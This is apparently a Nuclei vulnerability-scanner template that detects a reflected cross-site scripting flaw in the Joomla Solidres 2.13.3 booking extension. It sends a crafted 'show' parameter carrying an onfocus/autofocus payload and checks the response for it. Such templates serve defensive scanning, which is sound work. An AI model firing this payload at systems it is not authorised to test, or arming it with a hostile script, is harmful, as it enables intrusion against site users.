id: joomla-solidres-xss

info:
  name: Joomla Solidres 2.13.3 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Joomla extension for Solidres - Online Booking System & Reservation Software is vulnerable to XSS in GET parameter 'show'.
  reference:
    - https://www.exploit-db.com/exploits/51638
    - https://cxsecurity.com/issue/WLB-2023070080
    - https://cyberlegion.io/joomla-solidres-2-13-3-cross-site-scripting/
  metadata:
    verified: true
    max-request: 1
  tags: xss,joomla,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/joomla/greenery_hub/index.php/en/hotels/reservations?location=d2tff&task=hub.search&ordering=score&direction=desc&type_id=0&show=db8ck%22onfocus=%22confirm(document.domain)%22autofocus=%22xwu0k"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'onfocus="confirm(document.domain)"autofocus'
          - 'com_solidres'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 490a0046304402203a30d866e11aeaf64beca7f0750234d287f3fa8bbe4c5d2c9c6a0f0be6be66ac022021789fdf7ee86b8f868b1f42579d0f60b217386ce0ec5244ded33bd9b674031c:922c64590222798bb761d5b6d8e72950